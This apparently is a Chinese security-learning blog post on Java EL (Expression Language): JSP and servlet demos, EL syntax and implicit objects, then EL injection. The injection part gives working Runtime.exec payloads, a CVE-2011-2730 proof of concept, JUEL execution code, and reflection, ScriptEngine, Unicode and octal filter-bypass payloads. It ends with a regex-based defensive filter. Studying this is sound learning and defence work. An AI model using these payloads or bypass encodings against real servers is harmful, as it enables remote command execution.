前言
参考:
https://drun1baby.top/2022/09/23/Java-%E4%B9%8B-EL-%E8%A1%A8%E8%BE%BE%E5%BC%8F%E6%B3%A8%E5%85%A5/
动态jsp Demo
准备一个实体类
package com.example.learnservlet.pojo;
public class Band {
private Integer id;
private String bandName;
private String AnimationName;
private Integer ordered;
private String description;
private Integer status;
public Band() {
}
public Band(Integer id, String bandName, String AnimationName, String description) {
this.id = id;
this.bandName = bandName;
this.AnimationName = AnimationName;
this.description = description;
}
public Band(Integer id, String bandName, String AnimationName, Integer ordered, String description, Integer status) {
this.id = id;
this.bandName = bandName;
this.AnimationName = AnimationName;
this.ordered = ordered;
this.description = description;
this.status = status;
}
public Integer getId() {
return id;
}
public void setId(Integer id) {
this.id = id;
}
public String getBandName() {
return bandName;
}
public void setBandName(String bandName) {
this.bandName = bandName;
}
public String getAnimationName() {
return AnimationName;
}
public void setAnimationName(String animationName) {
AnimationName = animationName;
}
public Integer getOrdered() {
return ordered;
}
public void setOrdered(Integer ordered) {
this.ordered = ordered;
}
public String getDescription() {
return description;
}
public void setDescription(String description) {
this.description = description;
}
public Integer getStatus() {
return status;
}
public void setStatus(Integer status) {
this.status = status;
}
@Override
public String toString() {
return "Band{" +
"id=" + id +
", bandName='" + bandName + '\'' +
", AnimationName='" + AnimationName + '\'' +
", ordered=" + ordered +
", description='" + description + '\'' +
", status=" + status +
'}';
}
}
然后准备动态的jsp代码band.jsp
<%@ page import="com.example.learnservlet.pojo.Band" %>
<%@ page import="java.util.List" %>
<%@ page import="java.util.ArrayList" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%
// 查询数据库
List<Band> brands = new ArrayList<Band>();
brands.add(new Band(1,"结束乐队","孤独摇滚",100,"Guitar Hero",1));
brands.add(new Band(2,"MyGO!!!!!","BanGDream It's MyGO!!!!!",200,"为什么要演奏春日影!",1));
brands.add(new Band(3,"有刺无刺","Girls Band Cry",1000,"凸😄凸",0));
%>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>看少女乐队看的</title>
</head>
<body>
<input type="button" value="新增"><br>
<hr>
<table border="1" cellspacing="0" width="800">
<tr>
<th>序号</th>
<th>乐队名称</th>
<th>动画名称</th>
<th>排序</th>
<th>介绍</th>
<th>状态</th>
<th>操作</th>
</tr>
<%
for (int i = 0; i < brands.size(); i++) {
Band brand = brands.get(i);
%>
<tr align="center">
<td><%=brand.getId()%></td>
<td><%=brand.getBandName()%></td>
<td><%=brand.getAnimationName()%></td>
<td><%=brand.getOrdered()%></td>
<td><%=brand.getDescription()%></td>
<td><%=brand.getStatus() == 1 ? "完结":"在追"%></td>
<td><a href="#">修改</a> <a href="#">删除</a></td>
</tr>
<%
}
%>
</table>
</body>
</html>
以上就是动态jsp的实现
EL
可以理解为简化的 Jsp
EL(Expression Language)功能:
- 获取数据:EL表达式主要用于替换 JSP 页面中的脚本表达式,以从各种类型的Web域中检索Java对象、获取数据(某个Web域中的对象,访问JavaBean的属性、访问List集合、访问Map集合、访问数组)
- 执行运算:利用EL表达式可以在JSP页面中执行一些基本的关系运算、逻辑运算和算术运算,以在JSP页面中完成一些简单的逻辑运算,例如
${user==null}
- 获取Web开发常用对象:EL表达式定义了一些隐式对象,利用这些隐式对象,Web开发人员可以很轻松获得对Web常用对象的引用,从而获得这些对象中的数据
- 调用Java方法:EL表达式允许用户开发自定义EL函数,以在JSP页面中通过EL表达式调用Java类的方法
用法:
先通过 page 标签设置不忽略 EI 表达式
<%@ page contentType="text/html;charset=UTF-8" language="java" isELIgnored="false" %>
基本语法
${EL表达式}
EL表达式和JSP代码等价转换
[ ]与.运算符
EL表达式提供.
和[]
两种运算符来存取数据
当要存取的属性名称中包含一些特殊字符,如.
或-
等并非字母或数字的符号,就一定要使用[]
eg:${user.My-Name}
应当改为${user["My-Name"]}
如果要动态取值时,就可以用[]
来做,而.
无法做到动态取值
eg:${sessionScope.user[data]}
中 data 是一个变量
empty
empty
用来判断 EL 表达式中的对象或者变量是否为空。若为空或者 null,返回 true,否则返回 false
条件表达式
${条件表达式?表达式1:表达式2}
变量
以${username}
为例,意思是取出某一范围中名称为 username 的变量。
因为我们并没有指定哪一个范围的username,所以它会依序从 Page、Request、Session、Application 范围查找。假如途中找到username,就直接回传,不再继续找下去,但是假如全部的范围都没有找到时,就回传""
。(注意是空字符串)
EL表达式属性:可以对应jsp中的对象
属性范围在EL中的名称 | |
---|---|
Page | PageScope |
Request | RequestScope |
Session | SessionScope |
Application | ApplicationScope |
这四个域对象的作用范围如下图:
Demo
现在定义一个Servlet
转发的作用:通过转发,我们才可以使用 request 对象作为域对象进行数据共享
package com.example.learnservlet;
import com.example.learnservlet.pojo.Band;
import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.*;
import java.io.IOException;
import java.util.ArrayList;
import java.util.List;
@WebServlet("/ElDemo1")
public class ElDemo extends HttpServlet {
@Override
protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
//1. 准备数据
List<Band> bands = new ArrayList<Band>();
bands.add(new Band(1,"结束乐队","孤独摇滚",100,"Guitar Hero",1));
bands.add(new Band(2,"MyGO!!!!!","BanGDream It's MyGO!!!!!",200,"为什么要演奏春日影!",1));
bands.add(new Band(3,"有刺无刺","Girls Band Cry",1000,"凸😄凸",0));
//2. 存储到request域中
request.setAttribute("bands",bands);
//3. 转发到 el-demo.jsp
request.getRequestDispatcher("/el-demo.jsp").forward(request,response);
}
@Override
protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
this.doGet(request, response);
}
}
el-demo.jsp,这里通过EL表达式获取数据
<%@ page contentType="text/html;charset=UTF-8" language="java" isELIgnored="false" %>
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<title>EL Demo</title>
</head>
<body>
<table>
<tr>${bands}</tr>
</table>
</body>
</html>
然后访问/ElDemo1接口,是可以访问到数据的
操作符
JSP 表达式语言提供以下操作符,其中大部分是 Java 中常用的操作符:
术语 | 定义 |
---|---|
算术型 | +、-(二元)、*、/、div、%、mod、-(一元) |
逻辑型 | and、&&、or、双管道符、!、not |
关系型 | ==、eq、!=、ne、<、lt、>、gt、<=、le、>=、ge。可以与其他值进行比较,或与布尔型、字符串型、整型或浮点型文字进行比较。 |
空 | empty 空操作符是前缀操作,可用于确定值是否为空。 |
条件型 | A ?B :C。根据 A 赋值的结果来赋值 B 或 C。 |
隐式对象
JSP 表达式语言定义了一组隐式对象,其中许多对象在 JSP scriplet 和表达式中可用:
术语 | 定义 |
---|---|
pageContext | JSP页的上下文,可以用于访问 JSP 隐式对象,如请求、响应、会话、输出、servletContext 等。例如,${pageContext.response} 为页面的响应对象赋值。 |
此外,还提供几个隐式对象,允许对以下对象进行简易访问:
术语 | 定义 |
---|---|
param | 将请求参数名称映射到单个字符串参数值(通过调用 ServletRequest.getParameter (String name) 获得)。getParameter (String) 方法返回带有特定名称的参数。表达式${param.name} 相当于 request.getParameter (name) 。 |
paramValues | 将请求参数名称映射到一个数值数组(通过调用 ServletRequest.getParameter (String name) 获得)。它与 param 隐式对象非常类似,但它检索一个字符串数组而不是单个值。表达式 ${paramvalues. name} 相当于 request.getParamterValues(name) 。 |
header | 将请求头名称映射到单个字符串头值(通过调用 ServletRequest.getHeader(String name) 获得)。表达式 ${header.name} 相当于 request.getHeader(name) 。 |
headerValues | 将请求头名称映射到一个数值数组(通过调用 ServletRequest.getHeaders(String) 获得)。它与头隐式对象非常类似。表达式${headerValues.name} 相当于 request.getHeaderValues(name) 。 |
cookie | 将 cookie 名称映射到单个 cookie 对象。向服务器发出的客户端请求可以获得一个或多个 cookie。表达式${cookie.name.value} 返回带有特定名称的第一个 cookie 值。如果请求包含多个同名的 cookie,则应该使用${headerValues.name} 表达式。 |
initParam | 将上下文初始化参数名称映射到单个值(通过调用 ServletContext.getInitparameter(String name) 获得)。 |
除了上述两种类型的隐式对象之外,还有些对象允许访问多种范围的变量,如 Web 上下文、会话、请求、页面:
术语 | 定义 |
---|---|
pageScope | 将页面范围的变量名称映射到其值。例如,EL 表达式可以使用${pageScope.objectName} 访问一个 JSP 中页面范围的对象,还可以使用${pageScope .objectName. attributeName} 访问对象的属性。 |
requestScope | 将请求范围的变量名称映射到其值。该对象允许访问请求对象的属性。例如,EL 表达式可以使用${requestScope. objectName} 访问一个 JSP 请求范围的对象,还可以使用${requestScope. objectName. attributeName} 访问对象的属性。 |
sessionScope | 将会话范围的变量名称映射到其值。该对象允许访问会话对象的属性。例如:${sessionScope. name} |
applicationScope | 将应用程序范围的变量名称映射到其值。该隐式对象允许访问应用程序范围的对象。 |
用一个demo来看一下:
<%@ page import="java.io.*,java.util.*" %>
<%
String title = "Accessing Request Param";
%>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<html>
<head>
<title><% out.print(title); %></title>
</head>
<body>
<h3>通过访问 pageContext 对象来访问 request 对象,例如访问request对象传入的查询字符串</h3>
${pageContext.request.queryString}
<br>
<h3>Scope 对象</h3>
<!--pageContext没有对应方法的请导入tomcat lib目录下的jsp-api.jar-->
<%
pageContext.setAttribute("name","nina");
request.setAttribute("name","momoka");
session.setAttribute("user","tomo");
application.setAttribute("user","rupa");
%>
pageScope.name:${pageScope.name}
<br>
requestScope.name : ${requestScope.name}
<br>
sessionScope.user : ${sessionScope.user}
<br>
applicationScope.user : ${applicationScope.user}
<br>
<h3>param 和 paramValues 对象</h3>
<p>${param["username"]}</p>
<br>
<h3>header 和 headerValues 对象</h3>
<p>${header["user-agent"]}</p>
</body>
</html>
EL中的函数
EL允许您在表达式中使用函数。这些函数必须被定义在自定义标签库中。函数的使用语法如下:
${ns:func(param1, param2, ...)}
ns 指的是命名空间(namespace),func 指的是函数的名称,param1 指的是第一个参数,param2 指的是第二个参数,以此类推。比如,有函数 fn:length
,在 JSTL 库中定义,可以像下面这样来获取一个字符串的长度:
${fn:length("Get my length")}
要使用任何标签库中的函数,您需要将这些库安装在服务器中,然后使用 <taglib>
标签在 JSP 文件中包含这些库。
调用Java方法
直接看demo
先新建一个 ELFunc 类,其中定义的 doSomething()
方法用于给输入的参数字符拼接 ".com"
形成域名返回:
package com.example.learnservlet;
public class ELFunc {
public static String doSomething(String str){
return str + ".com";
}
}
接着在 WEB-INF 文件夹下(除 lib 和 classess 目录外)新建 test.tld 文件,其中指定执行的 Java 方法及其 URI 地址:
<?xml version="1.0" encoding="UTF-8"?>
<taglib version="2.0" xmlns="http://java.sun.com/xml/ns/j2ee"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://java.sun.com/xml/ns/j2ee http://java.sun.com/xml/ns/j2ee/web-jsptaglibrary_2_0.xsd">
<tlib-version>1.0</tlib-version>
<short-name>ELFunc</short-name>
<uri>http://localhost/ELFunc</uri>
<function>
<name>doSomething</name>
<function-class>com.example.learnservlet.ELFunc</function-class>
<function-signature> java.lang.String doSomething(java.lang.String)</function-signature>
</function>
</taglib>
JSP 文件中,先头部导入 taglib
标签库,URI 为 test.tld
中设置的 URI 地址,prefix 为 test.tld
中设置的 short-name,然后直接在 EL 表达式中使用 类名:方法名()
的形式来调用该类方法即可:
<%@taglib uri="http://localhost/ELFunc" prefix="ELFunc"%>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<html>
<head>
<title>Title</title>
</head>
<body>
${ELFunc:doSomething("0w0")}
</body>
</html>
启动/禁用EL表达式
全局禁用EL表达式
web.xml 中进入如下配置:
<jsp-config>
<jsp-property-group>
<url-pattern>*.jsp</url-pattern>
<el-ignored>true</el-ignored>
</jsp-property-group>
</jsp-config>
单个文件禁用EL表达式
在JSP文件中可以有如下定义:
<%@ page isELIgnored="true" %>
该语句表示是否禁用EL表达式,TRUE 表示禁止,FALSE 表示不禁止
JSP2.0 中默认的启用EL表达式
注入
表达式外部可控导致攻击者注入恶意表达式实现任意代码执行
通用poc
//对应于JSP页面中的pageContext对象(注意:取的是pageContext对象)
${pageContext}
//获取Web路径
${pageContext.getSession().getServletContext().getClassLoader().getResource("")}
//文件头参数
${header}
//获取webRoot
${applicationScope}
//执行命令
${pageContext.request.getSession().setAttribute("a",pageContext.request.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("calc").getInputStream())}
${''.getClass().forName('java.lang.Runtime').getMethod('exec',''.getClass()).invoke(''.getClass().forName('java.lang.Runtime').getMethod('getRuntime').invoke(null),'calc.exe')}
漏洞场景
比如这里有一个参数 a
是可控的,并且可以直接插入到 JSP 代码中,这种场景是非常常见的
举个简单的例子,如果登录界面,username 可控,并且判断不严格的情况下,就可以造成这种攻击:
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<html>
<head>
<title>Title</title>
</head>
<body>
${pageContext.setAttribute("a","".getClass().forName("java.lang.Runtime").getMethod("exec","".getClass()).invoke("".getClass().forName("java.lang.Runtime").getMethod("getRuntime").invoke(null),"calc.exe"))}
</body>
</html>
实际场景中,是几乎没有也无法直接从外部控制 JSP 页面中的 EL表达式的。而目前已知的 EL表达式注入漏洞都是框架层面服务端执行的 EL表达式外部可控导致的
CVE-2011-2730
poc:
<spring:message text="${/"/".getClass().forName(/"java.lang.Runtime/").getMethod(/"getRuntime/",null).invoke(null,null).exec(/"calc/",null).toString()}"></spring:message>
JUEL
EL 曾经是
JSTL
的一部分。然后,EL 进入了 JSP 2.0 标准。现在,尽管是 JSP 2.1 的一部分,但 EL API 已被分离到包javax.el
中, 并且已删除了对核心 JSP 类的所有依赖关系。换句话说:EL 已准备好在非 JSP 应用程序中使用
也就是说,现在 EL 表达式所依赖的包 javax.el
等都在 JUEL
相关的 jar 包中
需要的 jar 包:juel-api-2.2.7、juel-spi-2.2.7、juel-impl-2.2.7
juelExec.java
package com.example.learnservlet;
import de.odysseus.el.ExpressionFactoryImpl;
import de.odysseus.el.util.SimpleContext;
import javax.el.ExpressionFactory;
import javax.el.ValueExpression;
public class juelExec {
public static void main(String[] args) {
ExpressionFactory expressionFactory = new ExpressionFactoryImpl();
SimpleContext simpleContext = new SimpleContext();
// failed
// String exp = "${''.getClass().forName('java.lang.Runtime').getRuntime().exec('calc')}"; // ok String exp = "${''.getClass().forName('java.lang.Runtime').getMethod('exec',''.getClass()).invoke(''.getClass().forName('java.lang.Runtime').getMethod('getRuntime').invoke(null),'calc.exe')}";
ValueExpression valueExpression = expressionFactory.createValueExpression(simpleContext, exp, String.class);
System.out.println(valueExpression.getValue(simpleContext));
}
}
绕过
利用反射机制
即前面的payload,注意一点的就是这里不支持用字符串拼接的方式绕过关键字过滤
利用ScriptEngine调用JS引擎
ScriptEngineExec.java
package com.example.learnservlet;
import de.odysseus.el.ExpressionFactoryImpl;
import de.odysseus.el.util.SimpleContext;
import javax.el.ExpressionFactory;
import javax.el.ValueExpression;
public class ScriptEngineExec {
public static void main(String[] args) {
ExpressionFactory expressionFactory = new ExpressionFactoryImpl();
SimpleContext simpleContext = new SimpleContext();
// failed
// String exp = "${''.getClass().forName('java.lang.Runtime').getRuntime().exec('calc')}"; // ok String exp = "${''.getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"java.lang.Runtime.getRuntime().exec('Calc.exe')\")}\n" +
" ";
ValueExpression valueExpression = expressionFactory.createValueExpression(simpleContext, exp, String.class);
System.out.println(valueExpression.getValue(simpleContext));
}
}
payload:
${''.getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("JavaScript").eval("java.lang.Runtime.getRuntime().exec('calc')")}
利用Unicode编码绕过
\u0024\u007b\u0027\u0027\u002e\u0067\u0065\u0074\u0043\u006c\u0061\u0073\u0073\u0028\u0029\u002e\u0066\u006f\u0072\u004e\u0061\u006d\u0065\u0028\u0027\u006a\u0061\u0076\u0061\u002e\u006c\u0061\u006e\u0067\u002e\u0052\u0075\u006e\u0074\u0069\u006d\u0065\u0027\u0029\u002e\u0067\u0065\u0074\u004d\u0065\u0074\u0068\u006f\u0064\u0028\u0027\u0065\u0078\u0065\u0063\u0027\u002c\u0027\u0027\u002e\u0067\u0065\u0074\u0043\u006c\u0061\u0073\u0073\u0028\u0029\u0029\u002e\u0069\u006e\u0076\u006f\u006b\u0065\u0028\u0027\u0027\u002e\u0067\u0065\u0074\u0043\u006c\u0061\u0073\u0073\u0028\u0029\u002e\u0066\u006f\u0072\u004e\u0061\u006d\u0065\u0028\u0027\u006a\u0061\u0076\u0061\u002e\u006c\u0061\u006e\u0067\u002e\u0052\u0075\u006e\u0074\u0069\u006d\u0065\u0027\u0029\u002e\u0067\u0065\u0074\u004d\u0065\u0074\u0068\u006f\u0064\u0028\u0027\u0067\u0065\u0074\u0052\u0075\u006e\u0074\u0069\u006d\u0065\u0027\u0029\u002e\u0069\u006e\u0076\u006f\u006b\u0065\u0028\u006e\u0075\u006c\u006c\u0029\u002c\u0027\u0063\u0061\u006c\u0063\u002e\u0065\u0078\u0065\u0027\u0029\u007d
利用八进制绕过
构造脚本:
str = "${''.getClass().forName('java.lang.Runtime').getMethod('exec',''.getClass()).invoke(''.getClass().forName('java.lang.Runtime').getMethod('getRuntime').invoke(null),'calc.exe')}"
result = ""
for s in str:
num = "\\" + oct(ord(s))
result += num
print(result.replace("\\0", "\\"))
payload:
\44\173\47\47\56\147\145\164\103\154\141\163\163\50\51\56\146\157\162\116\141\155\145\50\47\152\141\166\141\56\154\141\156\147\56\122\165\156\164\151\155\145\47\51\56\147\145\164\115\145\164\150\157\144\50\47\145\170\145\143\47\54\47\47\56\147\145\164\103\154\141\163\163\50\51\51\56\151\156\166\157\153\145\50\47\47\56\147\145\164\103\154\141\163\163\50\51\56\146\157\162\116\141\155\145\50\47\152\141\166\141\56\154\141\156\147\56\122\165\156\164\151\155\145\47\51\56\147\145\164\115\145\164\150\157\144\50\47\147\145\164\122\165\156\164\151\155\145\47\51\56\151\156\166\157\153\145\50\156\165\154\154\51\54\47\143\141\154\143\56\145\170\145\47\51\175
防御
过滤关键字:
import javax.servlet.Filter;
import javax.servlet.FilterChain;
import javax.servlet.FilterConfig;
import javax.servlet.ServletException;
import javax.servlet.ServletRequest;
import javax.servlet.ServletResponse;
import javax.servlet.http.HttpServletRequest;
import java.io.IOException;
import java.util.regex.Pattern;
public class ELInjectionFilter implements Filter {
// Regex pattern to detect potential EL injections
private static final Pattern EL_INJECTION_PATTERN = Pattern.compile("\\$\\{[^}]+\\}");
@Override
public void init(FilterConfig filterConfig) throws ServletException {
// Initialization code if necessary
}
@Override
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain)
throws IOException, ServletException {
if (request instanceof HttpServletRequest) {
HttpServletRequest httpRequest = (HttpServletRequest) request;
// Check query parameters
for (String param : httpRequest.getParameterMap().keySet()) {
String[] values = httpRequest.getParameterValues(param);
for (String value : values) {
if (isPotentialELInjection(value)) {
throw new ServletException("Potential EL injection detected in parameter: " + param);
}
}
}
// Check headers
for (String header : httpRequest.getHeaderNames()) {
String headerValue = httpRequest.getHeader(header);
if (isPotentialELInjection(headerValue)) {
throw new ServletException("Potential EL injection detected in header: " + header);
}
}
}
// Continue with the filter chain
chain.doFilter(request, response);
}
@Override
public void destroy() {
// Cleanup code if necessary
}
// Method to check if a value contains potential EL injection patterns
private boolean isPotentialELInjection(String value) {
return EL_INJECTION_PATTERN.matcher(value).find();
}
}
web.xml配置
<filter>
<filter-name>ELInjectionFilter</filter-name>
<filter-class>com.example.filters.ELInjectionFilter</filter-class>
</filter>
<filter-mapping>
<filter-name>ELInjectionFilter</filter-name>
<url-pattern>/*</url-pattern>
</filter-mapping>
EL_INJECTION_PATTERN:使用正则表达式\\$\\{[^}]+\\}
来检测EL表达式注入的模式。
doFilter方法:
- 检查请求参数和请求头中的值是否包含潜在的EL注入模式。
- 如果检测到潜在的EL注入,抛出
ServletException
,阻止请求继续处理。
init和destroy方法:这些方法用于在过滤器的初始化和销毁时执行任何必要的代码。
如果是排查Java程序中JUEL相关代码,则搜索如下关键类方法:
javax.el.ExpressionFactory.createValueExpression()
javax.el.ValueExpression.getValue()